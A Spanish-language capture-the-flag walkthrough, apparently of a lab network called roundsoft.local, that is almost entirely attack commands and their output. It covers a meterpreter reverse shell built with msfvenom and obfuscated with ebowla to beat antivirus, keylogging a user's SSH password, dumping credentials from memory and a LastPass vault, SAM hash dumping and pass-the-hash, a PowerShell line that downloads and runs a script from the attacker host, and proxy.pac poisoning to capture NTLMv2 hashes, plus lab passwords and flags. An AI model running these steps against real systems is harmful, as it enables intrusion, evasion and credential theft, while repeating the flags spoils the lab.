[msf](Jobs:0 Agents:0) exploit(multi/handler) >> set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> set lhost tun0
lhost => tun0
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> set lport 4444
lport => 4444
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> run
[*] Started reverse TCP handler on 10.10.14.10:4444
Ya que no tenemos conexion directa con nuestro equipo usaremos la maquina ignis para redirigir el trafico del puerto 4444
local al puerto 4444
de nuestro equipo
❯ chisel server --reverse --port 9999
server: Reverse tunnelling enabled
server: Listening on http://0.0.0.0:9999
beta_user@Ignis:~$ ./chisel client 10.10.14.10:9999 0.0.0.0:4444:10.10.14.10:4444 &
client: Connecting to ws://10.10.14.10:9999
client: tun: proxy#4444=>10.10.14.10:4444: Listening
beta_user@Ignis:~$
Ahora crearemos un exe
malicioso que nos envie la sesion pero indicaremos la ip
de la maquina ignis que redirige el puerto que es la direccion 192.168.125.135
❯ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.125.135 LPORT=4444 -f exe -o shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: shell.exe
Tenemos otro problema y es que si subimos el exe
malicioso automaticamente el antivirus
lo detecta como amenaza y borra todo su contenido, lo deja con 0
bytes
PS C:\Users\janderson\Documents> upload shell.exe
Info: Uploading shell.exe to C:\Users\janderson\Documents\shell.exe
Data: 9556 bytes of 9556 bytes copied
Info: Upload successful!
PS C:\Users\janderson\Documents> dir
Directory: C:\Users\janderson\Documents
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 8/29/2023 8:25 PM 0 shell.exe
PS C:\Users\janderson\Documents>
Para evitar esto podemos usar ebowla para ofuscar un poco nuestro exe malicioso
❯ python2 ebowla.py shell.exe genetic.config
[*] Using Symmetric encryption
[*] Payload length 7168
[*] Payload_type exe
[*] Using EXE payload template
[*] Used environment variables:
[-] environment value used: username, value used: lux
[!] Path string not used as part of key
[!] External IP mask NOT used as part of key
[!] System time mask NOT used as part of key
[*] String used to source the encryption key: lux
[*] Applying 10000 sha512 hash iterations before encryption
[*] Encryption key is: d7f740196206d2a46b638ccc3aecceb1d47326d06a1870f9b9fe98f20ca2155b
[*] Writing Python payload to: go_symmetric_shell.exe.go
[*] Removing Comments and Print Statements
❯ ./build_x64_go.sh output/go_symmetric_shell.exe.go shell_ofs.exe
[*] Copy Files to tmp for building
[*] Building...
[*] Building complete
[*] Copy shell_ofs.exe to output
[*] Cleaning up
[*] Done
Subimos el exe que nos creo ebowla
y al ejecutarlo envia la sesion sin problemas
PS C:\Users\janderson\Documents> .\shell_ofs.exe
PS C:\Users\janderson\Documents>
Al ejecutarlo recibimos una sesión de meterpreter
como el usuario janderson
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> run
[*] Started reverse TCP handler on 10.10.14.10:4444
[*] Sending stage (200774 bytes) to 10.10.14.10
[*] Meterpreter session 1 opened (10.10.14.10:4444 -> 10.10.14.10:49722)
(Meterpreter 1)(C:\Users\janderson\Documents) > getuid
Server username: ROUNDSOFT\janderson
(Meterpreter 1)(C:\Users\janderson\Documents) >
Igual que antes migraremos al proceso RuntimeBroker
e iniciaremos un keylogger
, sin embargo desde meterpreter
es mucho mas facil hacer todo este proceso
(Meterpreter 1)(C:\Users\janderson\Documents) > migrate -N RuntimeBroker.exe
[*] Migrating from 15276 to 5804...
[*] Migration completed successfully.
(Meterpreter 1)(C:\Windows\system32) > keyscan_start
Starting the keystroke sniffer ...
(Meterpreter 1)(C:\Windows\system32) >
Después de unos segundo que se reinicia la sesion de putty
podemos capturar las pulsaciones ingresadas por el usuario y por lo tanto la contraseña
para ssh
(Meterpreter 1)(C:\Windows\system32) > keyscan_dump
Dumping captured keystrokes...
(03^69<@BHM*/KY4z<CR>
(Meterpreter 1)(C:\Windows\system32) >
Podemos conectarnos como root
con esta contraseña a traves de ssh
y leer la flag
❯ ssh root@10.13.38.18
root@10.13.38.18's password: (03^69<@BHM*/KY4z
root@Ignis:~# id
uid=0(root) gid=0(root) groups=0(root)
root@Ignis:~# hostname -I
10.13.38.18 192.168.125.135 172.17.0.1 dead:beef::250:56ff:fe07:4590
root@Ignis:~# cat flag.txt
RPG{h1j@ckin_lyk_@_pir@t3}
root@Ignis:~#
One's act, one's profit
RPG{n0thing_1s_h1dd3n_fr0m_r00t!}
Ya como root podemos ver procesos de gnome
ejecutandose como ruby
, espeficicamente nos interesa el proceso que ejecuta gnome-keyring-daemon
root@Ignis:~# ps aux | grep ruby
ruby 1536 0.0 0.2 77032 8168 ? Ss 00:05 0:00 /lib/systemd/systemd --user
ruby 1545 0.0 0.0 114104 2656 ? S 00:05 0:00 (sd-pam)
ruby 1579 0.0 0.2 279984 11880 ? SLl 00:05 0:00 /usr/bin/gnome-keyring-daemon --daemonize --login
ruby 1596 0.0 0.1 203736 5932 tty1 Ssl+ 00:05 0:00 /usr/lib/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu gnome-session --session=ubuntu
ruby 1598 0.0 4.0 622364 161732 tty1 Sl+ 00:05 0:02 /usr/lib/xorg/Xorg vt1 -displayfd 3 -auth /run/user/1001/gdm/Xauthority -background none -noreset -keeptty -verbose 3
ruby 1617 0.0 0.1 52480 6456 ? Ss 00:05 0:00 /usr/bin/dbus-daemon --session --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
ruby 1624 0.0 0.3 698280 13916 tty1 Sl+ 00:05 0:00 /usr/lib/gnome-session/gnome-session-binary --session=ubuntu
ruby 1896 0.0 0.0 11304 320 ? Ss 00:05 0:00 /usr/bin/ssh-agent /usr/bin/im-launch env GNOME_SHELL_SESSION_MODE=ubuntu gnome-session --session=ubuntu
ruby 2008 0.0 0.1 349292 6476 ? Ssl 00:05 0:00 /usr/lib/at-spi2-core/at-spi-bus-launcher
ruby 2036 0.0 0.0 49924 3560 ? S 00:05 0:00 /usr/bin/dbus-daemon --config-file=/usr/share/defaults/at-spi2/accessibility.conf --nofork --print-address 3
ruby 2065 0.0 0.1 220780 6564 ? Sl 00:06 0:00 /usr/lib/at-spi2-core/at-spi2-registryd --use-gnome-session
ruby 2218 0.0 0.3 279696 12448 ? Sl 00:06 0:00 /usr/bin/gnome-keyring-daemon --start --foreground --components=secrets
ruby 2377 0.0 4.1 3240876 168612 tty1 Sl+ 00:06 0:49 /usr/bin/gnome-shell
root@Ignis:~#
Con mimipenguin podemos buscar credenciales sin cifrar en la memoria, vemos la contraseña del usuario ruby
en texto plano la cual podemos usar para ssh
root@Ignis:~# python3 mimipenguin.py
[SYSTEM - GNOME] ruby:N1xp@ssw0rd4Ruby
❯ ssh ruby@10.13.38.18
ruby@10.13.38.18's password: N1xp@ssw0rd4Ruby
ruby@Ignis:~$ id
uid=1001(ruby) gid=1001(ruby) groups=1001(ruby)
ruby@Ignis:~$ hostname -I
10.13.38.18 192.168.125.135 172.17.0.1 dead:beef::250:56ff:fe07:4590
ruby@Ignis:~$
Habiamos visto un proceso de keyrings
, en el directorio donde se guardan los keyrings encontramos 4
archivos que son Credentials, login, stuff y user
ruby@Ignis:~/.local/share/keyrings$ ls -l
-rw------- 1 ruby ruby 677 Jan 17 2020 Credentials.keyring
-rw------- 1 ruby ruby 535 Jan 17 2020 login.keyring
-rw------- 1 ruby ruby 315 Jan 17 2020 stuff.keyring
-rw------- 1 ruby ruby 207 Jan 17 2020 user.keystore
ruby@Ignis:~/.local/share/keyrings$
Aprovechando la conexion ssh con scp
podemos transferir todos los keyrings
del usuario ruby a nuestro directorio de keyrings para despues abrirlos con seahorse
❯ scp ruby@10.13.38.18:'~/.local/share/keyrings/*' ~/.local/share/keyrings
ruby@10.13.38.18's password: N1xp@ssw0rd4Ruby
❯ seahorse
En el keyring stuff
usando la contraseña de ruby podemos decifrar su contenido, su descripción es Flag
y su contraseña simplemente nos muestra la flag
The source of power
RPG{L3v31iNg_uP_2_t3h_b0$$_m0d3}
En el keyring Credentials
encontramos 3
credenciales existentes, cada una con diferentes contraseñas
para diferentes servicios como Drive, Wifi y Workstation
Despues de crear una lista de los usuarios
del dominio probamos autenticarnos a traves de smb
usando esta contraseña, esta es valida para el usuario rrodriguez
❯ crackmapexec smb shinra.roundsoft.local -u users.txt -p I@mabArb13g1rl1n@barbi3w0rld
SMB roundsoft.local 445 SHINRA [*] Windows Server 2016 Standard 14393 x64 (name:SHINRA) (domain:Roundsoft.local) (signing:True) (SMBv1:True)
SMB roundsoft.local 445 SHINRA [-] Roundsoft.local\administrator:I@mabArb13g1rl1n@barbi3w0rld STATUS_ACCOUNT_RESTRICTION
SMB roundsoft.local 445 SHINRA [-] Roundsoft.local\Guest:I@mabArb13g1rl1n@barbi3w0rld STATUS_LOGON_FAILURE
SMB roundsoft.local 445 SHINRA [-] Roundsoft.local\krbtgt:I@mabArb13g1rl1n@barbi3w0rld STATUS_LOGON_FAILURE
SMB roundsoft.local 445 SHINRA [-] Roundsoft.local\DefaultAccount:I@mabArb13g1rl1n@barbi3w0rld STATUS_LOGON_FAILURE
SMB roundsoft.local 445 SHINRA [-] Roundsoft.local\nyoshida:I@mabArb13g1rl1n@barbi3w0rld STATUS_LOGON_FAILURE
SMB roundsoft.local 445 SHINRA [-] Roundsoft.local\hsakaguchi:I@mabArb13g1rl1n@barbi3w0rld STATUS_LOGON_FAILURE
SMB roundsoft.local 445 SHINRA [-] Roundsoft.local\yamano:I@mabArb13g1rl1n@barbi3w0rld STATUS_LOGON_FAILURE
SMB roundsoft.local 445 SHINRA [-] Roundsoft.local\tnomura:I@mabArb13g1rl1n@barbi3w0rld STATUS_LOGON_FAILURE
SMB roundsoft.local 445 SHINRA [-] Roundsoft.local\htanaka:I@mabArb13g1rl1n@barbi3w0rld STATUS_LOGON_FAILURE
SMB roundsoft.local 445 SHINRA [-] Roundsoft.local\repository_admin:I@mabArb13g1rl1n@barbi3w0rld STATUS_LOGON_FAILURE
SMB roundsoft.local 445 SHINRA [+] Roundsoft.local\rrodriguez:I@mabArb13g1rl1n@barbi3w0rld
Podemos probar las credenciales para el protocolo winrm
hacia todos los equipos del dominio, todos devuelven error excepto el host .129
que devuelve un Pwn3d!
❯ crackmapexec winrm 192.168.125.88-129 -u rrodriguez -p I@mabArb13g1rl1n@barbi3w0rld
SMB 192.168.125.88 5985 GELUS [*] Windows 10.0 Build 17763 (name:GELUS) (domain:Roundsoft.local)
SMB 192.168.125.128 5985 SHINRA [*] Windows 10.0 Build 14393 (name:SHINRA) (domain:Roundsoft.local)
SMB 192.168.125.129 5985 LUX [*] Windows 10.0 Build 18362 (name:LUX) (domain:Roundsoft.local)
HTTP 192.168.125.88 5985 GELUS [*] http://192.168.125.88:5985/wsman
HTTP 192.168.125.128 5985 SHINRA [*] http://192.168.125.128:5985/wsman
HTTP 192.168.125.129 5985 LUX [*] http://192.168.125.129:5985/wsman
HTTP 192.168.125.88 5985 GELUS [-] Roundsoft.local\rrodriguez:I@mabArb13g1rl1n@barbi3w0rld
HTTP 192.168.125.128 5985 SHINRA [-] Roundsoft.local\rrodriguez:I@mabArb13g1rl1n@barbi3w0rld
HTTP 192.168.125.129 5985 LUX [+] Roundsoft.local\rrodriguez:I@mabArb13g1rl1n@barbi3w0rld (Pwn3d!)
Simplemente nos conectamos haciendo uso de evil-winrm
al equipo LUX
donde la credencial es validas y obtenemos una powershell como el usuario rrodriguez
❯ evil-winrm -i lux.roundsoft.local -u rrodriguez -p I@mabArb13g1rl1n@barbi3w0rld
PS C:\Users\rrodriguez\Documents> whoami
roundsoft\rrodriguez
PS C:\Users\rrodriguez\Documents>
El usuario tiene acceso a WmiMonitor
por lo que podemos pensar que puede hacer cosas con el como obtener acceso remoto a otro equipo
que sea parte del dominio
PS C:\Program Files (x86)\SolarWinds> dir
Directory: C:\Program Files (x86)\SolarWinds
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 11/15/2019 4:34 PM WmiMonitor
PS C:\Program Files (x86)\SolarWinds>
Al definir las credenciales del usuario rrodriguez
e invocar un comando mediante WMI
hacia el equipo GELUS
parece que se ejecuta sin denegarnos el acceso
PS C:\Users\rrodriguez\Documents> $SecPassword = ConvertTo-SecureString 'I@mabArb13g1rl1n@barbi3w0rld' -AsPlainText -Force
PS C:\Users\rrodriguez\Documents> $Cred = New-Object System.Management.Automation.PSCredential('roundsoft.local\rrodriguez', $SecPassword)
PS C:\Users\rrodriguez\Documents> Invoke-WmiMethod -ComputerName GELUS -Credential $Cred -Path win32_process -Name Create -ArgumentList ('whoami')
__GENUS : 2
__CLASS : __PARAMETERS
__SUPERCLASS :
__DYNASTY : __PARAMETERS
__RELPATH :
__PROPERTY_COUNT : 2
__DERIVATION : {}
__SERVER :
__NAMESPACE :
__PATH :
ProcessId : 8136
ReturnValue : 0
PSComputerName :
PS C:\Users\rrodriguez\Documents>
El equipo GELUS
si tiene conexion directa con nosotros, asi que podemos aprovechar el script pocat.ps1
de antes para abrir un listener en el puerto 4444
con una powershell, para ello hacemos la peticion con IWR
y la interpretamos con IEX
PS C:\Users\rrodriguez\Documents> Invoke-WmiMethod -ComputerName GELUS -Credential $Cred -Path win32_process -Name Create -ArgumentList ('powershell -c "IWR 10.10.14.10/pocat.ps1 | IEX"')
PS C:\Users\rrodriguez\Documents>
❯ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.13.38.19 - - "GET /pocat.ps1 HTTP/1.1" 200 -
Despues de interpretarse nos podemos conectar el puerto 4444
y obtenemos una powershell
como el usuario rrodriguez
pero esta vez en el equipo GELUS
❯ netcat gelus.roundsoft.local 4444
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Windows\system32> whoami
roundsoft\rrodriguez
PS C:\Windows\system32> hostname
GELUS
PS C:\Windows\system32>
En el directorio Downloads
de rrodriguez encontramos un exe de ChromeSetup
que se usa para instalar chrome
por lo que podemos suponer que este esta instalado
PS C:\Users\rrodriguez\Downloads> dir
Directory: C:\Users\rrodriguez\Downloads
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 1/19/2020 8:33 PM 1397976 ChromeSetup.exe
PS C:\Users\rrodriguez\Downloads>
Navegando entre archivos encontramos un archivo llamado 1
de una extension la cual buscando el nombre de la carpeta nos encontramos con que es LastPass
PS C:\Users\rrodriguez\Downloads> dir 'C:\Users\rrodriguez\AppData\Local\Google\Chrome\User Data\Default\databases\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0'
Directory: C:\Users\rrodriguez\AppData\Local\Google\Chrome\User Data\Default\databases\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 1/19/2020 9:01 PM 77824 1
PS C:\Users\rrodriguez\Downloads>
Para descargarlo podemos copiarlo a un servidor smb
creado en nuestro equipo
PS C:\Users\rrodriguez\Downloads> cp 'C:\Users\rrodriguez\AppData\Local\Google\Chrome\User Data\Default\databases\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0\1' \\10.10.14.10\kali\1
PS C:\Users\rrodriguez\Downloads>
Podemos usar una herramienta para decifrarlo, despues de probar contraseñas nos funciona una de las contraseñas que encontramos antes en los keyrings
, como resultado en la data que nos genera obtenemos la flag
ademas de credenciales
❯ python3 lpparser.py
Path of LastPass vault file: 1
Output directory: .
Email: ruby@roundsoft.com
Password: L1f3_1s_pl@st1c
Data exported to /home/kali/lastpass-vault-parser
press ENTER to exit
❯ cat Sites_and_SecureNotes.csv
"aid","Name","Folder","URL","Notes","Favorite","sharedfromaid","Username","Password","Require Password Repromt","Generated Password","Secure Notes","Last Used","AutoLogin","Disable AutoFill","realm_data","fiid","custom_js","submit_id","captcha_id","urid","basic_auth","method","action","groupid","deleted","attachkey","attachpresent","individualshare","Note Type","noalert","Last Modified","Shared with Others","Last Password Changed","Created","vulnerable","Auto Change Password supported","breached","Custom Template","Form Fields"
"738847209304266833","Admin account - Mail","mail","http://mail.roundsoft.local/owa","","0","","ruby_adm","b3aut1fu1_lyk_@_g3m!","0","0","0","0","0","0","","738847209304266833","","","","0","0","","","0","0","","","0","","","1579534224","0","1579534224","1579534224","","0","0","",""
"8006682195168702159","Flag","flag","http://sn","RPG{L3v31iNg_uP_2_t3h_b0$$_m0d3}","0","","","","0","0","1","0","0","0","","8006682195168702159","","","","0","0","","","1","","","","0","Generic","","","","","","","0","0","",""
Wake from death and turn to life
RPG{l3ave_my_hash3s_al0ne!}
Las credenciales de ruby_adm
que encontramos son validas a nivel de dominio
❯ crackmapexec smb shinra.roundsoft.local -u ruby_adm -p b3aut1fu1_lyk_@_g3m!
SMB roundsoft.local 445 SHINRA [*] Windows Server 2016 Standard 14393 x64 (name:SHINRA) (domain:Roundsoft.local) (signing:True) (SMBv1:True)
SMB roundsoft.local 445 SHINRA [+] Roundsoft.local\ruby_adm:b3aut1fu1_lyk_@_g3m!
Para enumerar el dominio usaremos bloodhound
autenticandonos como cualquier usuario del dominio, toda la informacion recolectada la guardaremos en un zip
❯ bloodhound-python -u ruby_adm -p b3aut1fu1_lyk_@_g3m! -ns 192.168.125.128 -d roundsoft.local -c All --zip
INFO: Found AD domain: roundsoft.local
INFO: Getting TGT for user
INFO: Connecting to LDAP server: Shinra.Roundsoft.local
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 3 computers
INFO: Connecting to LDAP server: Shinra.Roundsoft.local
INFO: Found 117 users
INFO: Found 56 groups
INFO: Found 3 gpos
INFO: Found 2 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: GELUS.Roundsoft.local
INFO: Querying computer: Lux.Roundsoft.local
INFO: Querying computer: Shinra.Roundsoft.local
INFO: Done in 00M 39S
INFO: Compressing output into 20230825230949_bloodhound.zip
Subimos el zip y partiendo del usuario ruby_adm
nos encontramos con privilegios GenericAll
sobre 100
usuarios del dominio, la mayoria no nos sirven de nada
Podemos partir buscando por rutas con los usuarios que formen parte del grupo Developers
ya que estos son administradores locales en el equipo LUX
PS C:\Users\janderson\Documents> net localgroup Administrators
Alias name Administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
ROUNDSOFT\Developers
ROUNDSOFT\Domain Admins
Roundsoft_HR
The command completed successfully.
PS C:\Users\janderson\Documents>
Tenemos GenericAll
sobre 2 usuarios que forman pate del grupo Developers
El plan es sencillo, cambiarle la contraseña a un usuario en este caso lthomson
y autenticarnos con el, pero nos devuelve que el usuario esta deshabilitado
❯ net rpc password lthomson password123# -U 'roundsoft.local/ruby_adm%b3aut1fu1_lyk_@_g3m!' -S shinra.roundsoft.local
❯ crackmapexec smb shinra.roundsoft.local -u lthomson -p password123#
SMB roundsoft.local 445 SHINRA [*] Windows Server 2016 Standard 14393 x64 (name:SHINRA) (domain:Roundsoft.local) (signing:True) (SMBv1:True)
SMB roundsoft.local 445 SHINRA [-] Roundsoft.local\lthomson:password123# STATUS_ACCOUNT_DISABLED
Al tener GenericAll
sobre estos tambien podemos habilitarlos, subimos PowerView a una maquina y con la credencial de ruby_adm
habilitamos al usuario lthomson
PS C:\Users\rrodriguez\Documents> Import-Module .\PowerView.ps1
PS C:\Users\rrodriguez\Documents> $SecPassword = ConvertTo-SecureString 'b3aut1fu1_lyk_@_g3m!' -AsPlainText -Force
PS C:\Users\rrodriguez\Documents> $Cred = New-Object System.Management.Automation.PSCredential('roundsoft.local\ruby_adm', $SecPassword)
PS C:\Users\rrodriguez\Documents> Set-DomainObject -Identity LThomson -XOR @{useraccountcontrol=2} -Cred $Cred
PS C:\Users\rrodriguez\Documents>
Si ahora probamos las credenciales contra el DC
nos devuelve que son validas
❯ crackmapexec smb shinra.roundsoft.local -u lthomson -p password123#
SMB roundsoft.local 445 SHINRA [*] Windows Server 2016 Standard 14393 x64 (name:SHINRA) (domain:Roundsoft.local) (signing:True) (SMBv1:True)
SMB roundsoft.local 445 SHINRA [+] Roundsoft.local\lthomson:password123#
Ya con el usuario activado al autenticarnos contra LUX
y ser administradores nos devuelve un Pwn3d!
asi que podemos dumpear la sam
y ver los hashes NT
❯ crackmapexec smb lux.roundsoft.local -u lthomson -p password123#
SMB lux.roundsoft.local 445 LUX [*] Windows 10.0 Build 18362 x64 (name:LUX) (domain:Roundsoft.local) (signing:False) (SMBv1:False)
SMB lux.roundsoft.local 445 LUX [+] Roundsoft.local\lthomson:password123# (Pwn3d!)
❯ crackmapexec smb lux.roundsoft.local -u lthomson -p password123# --sam
SMB lux.roundsoft.local 445 LUX [*] Windows 10.0 Build 18362 x64 (name:LUX) (domain:Roundsoft.local) (signing:False) (SMBv1:False)
SMB lux.roundsoft.local 445 LUX [+] Roundsoft.local\lthomson:password123# (Pwn3d!)
SMB lux.roundsoft.local 445 LUX [*] Dumping SAM hashes
SMB lux.roundsoft.local 445 LUX Administrator:500:aad3b435b51404eeaad3b435b51404ee:53ff2611f458c331e1ecbb3921b7b471:::
SMB lux.roundsoft.local 445 LUX Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB lux.roundsoft.local 445 LUX DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB lux.roundsoft.local 445 LUX WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:e1c935bfda72ce05c46592bcbaea4ad3:::
SMB lux.roundsoft.local 445 LUX Roundsoft_HR:1001:aad3b435b51404eeaad3b435b51404ee:e5562111cec252d79c2205f7ede6beba:::
Podemos simplemente conectarnos con el hash de Administrator
con evil-winrm
❯ evil-winrm -i lux.roundsoft.local -u Administrator -H 53ff2611f458c331e1ecbb3921b7b471
PS C:\Users\Administrator\Documents> whoami
lux\administrator
PS C:\Users\Administrator\Documents>
El usuario yamano
toene instalado WinSCP
en su version de escritorio por lo que es muy probable que sus credenciales se hayan guardado en los registros
PS C:\Users\yamano\AppData\Local\Programs\WinSCP> dir
Directory: C:\Users\yamano\AppData\Local\Programs\WinSCP
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 5/27/2020 1:49 PM Extensions
d----- 5/27/2020 1:49 PM PuTTY
d----- 5/27/2020 1:49 PM Translations
-a---- 4/27/2020 11:43 AM 486904 DragExt64.dll
-a---- 4/23/2020 2:39 PM 37852 license.txt
-a---- 5/27/2020 1:49 PM 87298 unins000.dat
-a---- 5/27/2020 1:48 PM 2669760 unins000.exe
-a---- 5/27/2020 1:49 PM 23383 unins000.msg
-a---- 4/27/2020 11:41 AM 285424 WinSCP.com
-a---- 4/27/2020 11:40 AM 26836592 WinSCP.exe
-a---- 4/27/2020 11:39 AM 12143294 WinSCP.map
-a---- 4/27/2020 11:41 AM 151880 WinSCPnet.dll
PS C:\Users\yamano\AppData\Local\Programs\WinSCP>
Iniciaremos descargando el archivo NTUSER.DAT
del usuario yamano para analizarlo
PS C:\Users\yamano> download NTUSER.DAT NTUSER.DAT
Info: Downloading C:\Users\yamano\NTUSER.DAT to NTUSER.DAT
Info: Download successful!
PS C:\Users\yamano>
Usando Registry Explorer podemos encontrar en la sesion de WinSCP
la credencial
Usando winscppasswd podemos decifrar la contraseña en base a los datos que obtenemos en el registro
de winscp, obtenemos una contraseña en texto plano
PS C:\Users\pc1\Desktop> .\winscppasswd.exe 192.168.125.135 yamano A35C7059DC0FAE8584253D313D32336D656E726D6A64726D6E69726D6F691D2E6B03350F033A1C32281C2F286D3F033E6F3D292825
Ar7_iS_f@nt@st1c_b3auty
PS C:\Users\pc1\Desktop>
La credencial es valida, sin embargo este usuario no se puede conectar a traves del protocolo winrm
a ninguno de los equipos que nos restan de comprometer
❯ crackmapexec smb shinra.roundsoft.local -u yamano -p Ar7_iS_f@nt@st1c_b3auty
SMB roundsoft.local 445 SHINRA [*] Windows Server 2016 Standard 14393 x64 (name:SHINRA) (domain:Roundsoft.local) (signing:True) (SMBv1:True)
SMB roundsoft.local 445 SHINRA [+] Roundsoft.local\yamano:Ar7_iS_f@nt@st1c_b3auty
❯ crackmapexec winrm 192.168.125.88-128 -u yamano -p Ar7_iS_f@nt@st1c_b3auty
SMB 192.168.125.88 5985 GELUS [*] Windows 10.0 Build 17763 (name:GELUS) (domain:Roundsoft.local)
SMB 192.168.125.128 5985 SHINRA [*] Windows 10.0 Build 14393 (name:SHINRA) (domain:Roundsoft.local)
HTTP 192.168.125.88 5985 GELUS [*] http://192.168.125.88:5985/wsman
HTTP 192.168.125.128 5985 SHINRA [*] http://192.168.125.128:5985/wsman
HTTP 192.168.125.88 5985 GELUS [-] Roundsoft.local\yamano:Ar7_iS_f@nt@st1c_b3auty
HTTP 192.168.125.128 5985 SHINRA [-] Roundsoft.local\yamano:Ar7_iS_f@nt@st1c_b3auty
Sin embargo utilizando Invoke-RunasCs logramos ejecutar comandos como este usuario localmente en el equipo GELUS
, en este caso un simple whoami para probar
PS C:\Users\rrodriguez\Documents> curl 10.10.14.10/Invoke-RunasCs.ps1 -o Invoke-RunasCs.ps1
PS C:\Users\rrodriguez\Documents> Import-Module .\Invoke-RunasCs.ps1
PS C:\Users\rrodriguez\Documents> Invoke-RunasCs yamano Ar7_iS_f@nt@st1c_b3auty whoami
roundsoft\yamano
PS C:\Users\rrodriguez\Documents>
Utilizando el parametro -Remote
del propio RunasCs nos enviamos una powershell
aprovechando que tenemos conexion directa con nuestro equipo desde aqui
PS C:\Users\rrodriguez\Documents> Invoke-RunasCs yamano Ar7_iS_f@nt@st1c_b3auty powershell -Remote 10.10.14.10:443
[+] Running in session 0 with process function CreateProcessWithTokenW()
[+] Using Station\Desktop: Service-0x0-27fbfef$\Default
[+] Async process 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' with pid 7192 created in background.
PS C:\Users\rrodriguez\Documents>
❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.13.38.19
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Windows\system32> whoami
roundsoft\yamano
PS C:\Windows\system32> hostname
GELUS
PS C:\Windows\system32>
Navegando el directorio inetpub
encontramos un archivo proxy.pac
que almacena informacion sobre que a proxy redirigir mediante un script en JavaScript
PS C:\inetpub\altroot\pac_testing> dir
Directory: C:\inetpub\altroot\pac_testing
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 5/22/2020 12:02 AM 118 proxy.pac
PS C:\inetpub\altroot\pac_testing> type proxy.pac
function FindProxyForURL(url, host)
{
// allow DIRECT for now, yamano to setup proxy server
return "DIRECT";
}
PS C:\inetpub\altroot\pac_testing>
Este archivo puede ser modificado por el grupo Infra
, al cual el usuario yamano
como el que estamos actualmente pertenece, asi que podemos escribir
en el
PS C:\inetpub\altroot\pac_testing> icacls proxy.pac
proxy.pac ROUNDSOFT\Infra:(W)
ROUNDSOFT\Infra:(I)(RX)
BUILTIN\IIS_IUSRS:(I)(RX)
NT AUTHORITY\IUSR:(I)(RX)
BUILTIN\Administrators:(I)(F)
NT AUTHORITY\SYSTEM:(I)(F)
NT SERVICE\TrustedInstaller:(I)(F)
Successfully processed 1 files; Failed processing 0 files
PS C:\inetpub\altroot\pac_testing> Get-ADPrincipalGroupMembership yamano | Select Name
Name
----
Domain Users
Developers
Infra
PS C:\inetpub\altroot\pac_testing>
Responder cuenta con el pamrametro -P
para el proxy que estara en el puerto 3128
❯ sudo responder -I tun0 -P
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.1.3.0
[+] Listening for events...
Modificamos el archivo proxy.pac
para que tome como proxy nuestro host por el puerto 3128
donde esta en escucha responder que forzara una autenticacion
PS C:\inetpub\altroot\pac_testing> echo 'function FindProxyForURL(url, host){ return "PROXY 10.10.14.10:3128; DIRECT"; }' > proxy.pac
PS C:\inetpub\altroot\pac_testing> type proxy.pac
function FindProxyForURL(url, host){ return "PROXY 10.10.14.10:3128; DIRECT"; }
PS C:\inetpub\altroot\pac_testing>
Despues de un par de minutos recibimos un hash NTLMv2
del usuario AThompson
❯ sudo responder -I tun0 -P
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.1.3.0
[+] Listening for events...
[Proxy-Auth] NTLMv2 Client : 10.13.38.19
[Proxy-Auth] NTLMv2 Username : ROUNDSOFT\AThompson
[Proxy-Auth] NTLMv2 Hash : ATHOMPSON::ROUNDSOFT:1122334455667788:3226D5ADD8CEC459E58BCB2A944E4416:0101000000000000003525685CD8D901466A01CE2E0CBE4400000000020008004F0053005A00430001001E00570049004E002D00330055003800590030004E004600590033004C00350004003400570049004E002D00330055003800590030004E004600590033004C0035002E004F0053005A0043002E004C004F00430041004C00030014004F0053005A0043002E004C004F00430041004C00050014004F0053005A0043002E004C004F00430041004C0007000800003525685CD8D90106000400020000000800300030000000000000000000000000300000A0E6542D491037E632B42B69C0AC5B75A6B6336276CAB6008B4C1EB3B07788A10A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E00310030002E00310034002E0032000000000000000000
De primeras john
no logra romper el hash con el rockyou.txt
sin embargo al aplicar algunas reglas
obtenemos la contraseña para el usuario AThompson
